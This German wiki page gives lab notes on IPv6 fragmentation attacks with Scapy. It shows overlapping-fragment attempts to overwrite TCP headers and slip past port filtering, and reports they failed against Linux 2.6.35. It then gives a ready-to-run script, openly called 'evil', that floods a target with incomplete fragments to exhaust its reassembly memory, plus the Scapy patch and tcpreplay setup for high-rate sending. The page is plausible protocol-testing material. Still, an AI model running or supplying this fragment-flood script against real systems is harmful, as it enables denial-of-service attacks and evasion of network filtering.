Benutzer-Werkzeuge

Webseiten-Werkzeuge


ne:scapy_fragment_v6-packets

IPv6-Pakete fragmentieren

Scapy: Die fragment6(packet, size) Funktion setzt voraus, dass das zu fragmentierende Paket bereits einen Fragmentation-Header besitzt, ansonsten wird nicht fragmentiert.

:!: Linux akzeptiert nur Fragmente deren Payload-Länge ein Vielfaches von 8 ist (Offset wird als Vielfaches von 8 Byte angegeben), ansonsten gibt es eine ICMP-Parameter-Problem Meldung :!:

Versuch 1: Überschreiben von Paketfragmenten mit neueren Informationen

dest="2001:db8:1:0:a00:27ff:affe:1234" /* Ubuntu */
 
p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/TCP(sport=17002,dport=23,flags="S")/Raw("x"*36)
p80 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0)/TCP(sport=17002,dport=80,flags="S")/Raw("x"*36)
 
send(p23)
send(p80)

Allerdings schlägt die Reassembly auf dem Zielsystem trotzdem fehl (Time Exceeded). Da beide Pakete den Offset 0 tragen und auf das p80 Paket auch eine passende Antwort vom Zielsystem generiert wird, ist davon auszugehen, dass Fragmente mit 'Offset 0' separat behandelt werden (nicht überschrieben)!

Versuch 2: Alternative incl. Destination Header

Es wird ein Destination Header hinzugefügt, so dass das 2. Fragment mit einem höheren Offset als '0' versandt werden kann und trotzdem der Transport-Header überschrieben werden könnte.

Das Reassembly funktioniert jetzt, allerdings nicht wie erwartet: Linux mit Kernel 2.6.35 scheint für diesen Angriff nicht empfindlich zu sein, das erste empfangene Fragment bleibt erhalten und wird nicht überschrieben.

/* Kein Upper-Layer Header im 1. Fragment → Reassembly: WWW (Port 80)*/

p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/IPv6ExtHdrDestOpt()/IPv6ExtHdrDestOpt(nh=6)
p22 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0,offset=2,nh=60)/TCP(sport=17002,dport=22,flags="S")/Raw("x"*40)

/* Kein Upper-Layer Header im 1. Fragment → Reassembly: WWW (Port 80)*/ /* Verschiedener Upper-Layer Header im 1. Fragment → Telnet (Port 23) */

p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/IPv6ExtHdrDestOpt()/IPv6ExtHdrDestOpt()/TCP(sport=17002,dport=23,flags="S")/Raw("y"*20)

/* Next Header im nächsten Fragment muss 'Destination Header' sein → WWW (Port 80) */

p80 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0,offset=2,nh=60)/TCP(sport=17002,dport=80,flags="S")/Raw("x"*36)

>>> i=IPv6(dst="2001:db8:20::1")
>>> ext=IPv6ExtHdrFragment()
>>> q=UDP()/Raw(load="X"*50000)
>>> p=Ether()/i/ext/q            ## Ether() is requiered for sendpfast()
>>> ar1=fragment6(p, 1280)

Senden:

>>> sendp(ar1)

oder schneller:

>>> sendpfast(ar1)

Ein böses Script

#! /usr/bin/env python
from scapy.all import IPv6,IPv6ExtHdrFragment,UDP,Ether,fragment6,sendpfast,Raw,wrpcap
import sys
 
ar1=[]
target="2001:db8:20::1"
fragmentsize=1280
 
for n in range(1,10):    ## Wert erhöhen um mehr Pakte zu erzeugen die Fragmentiert werden
    i=IPv6(dst=target)
    ext=IPv6ExtHdrFragment()
    q=UDP()/Raw(load="V"*50000)
    p=Ether()/i/ext/q
    ar1.extend(fragment6(p, fragmentsize))
 
f=len(ar1)
x=0
while x < f:             ## ueberschreibt jedes 30. Fragment mit dem 3.
    ar1[x]=ar1[2]        ## Fragmente werden so nie vollständig übertragen
    x=x+30               ## und verbleiben im Speicher von target
 
sendpfast(ar1)

Evenuell sind noch folgende Änderungen vorzunehmen

in Scapys sendrecv.py:

257: @conf.commands.register
258: def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, iface=None):
-->:     from scapy.utils import wrpcap
259:     """Send packets at layer 2 using tcpreplay for performance

tcpreplay muss installiert sein:

$ sudo apt-get install tcpreplay
Diese Website verwendet Cookies. Durch die Nutzung der Website stimmen Sie dem Speichern von Cookies auf Ihrem Computer zu. Außerdem bestätigen Sie, dass Sie unsere Datenschutzbestimmungen gelesen und verstanden haben. Wenn Sie nicht einverstanden sind, verlassen Sie die Website.Weitere Information
ne/scapy_fragment_v6-packets.txt · Zuletzt geändert: 2017/06/28 15:44 von admin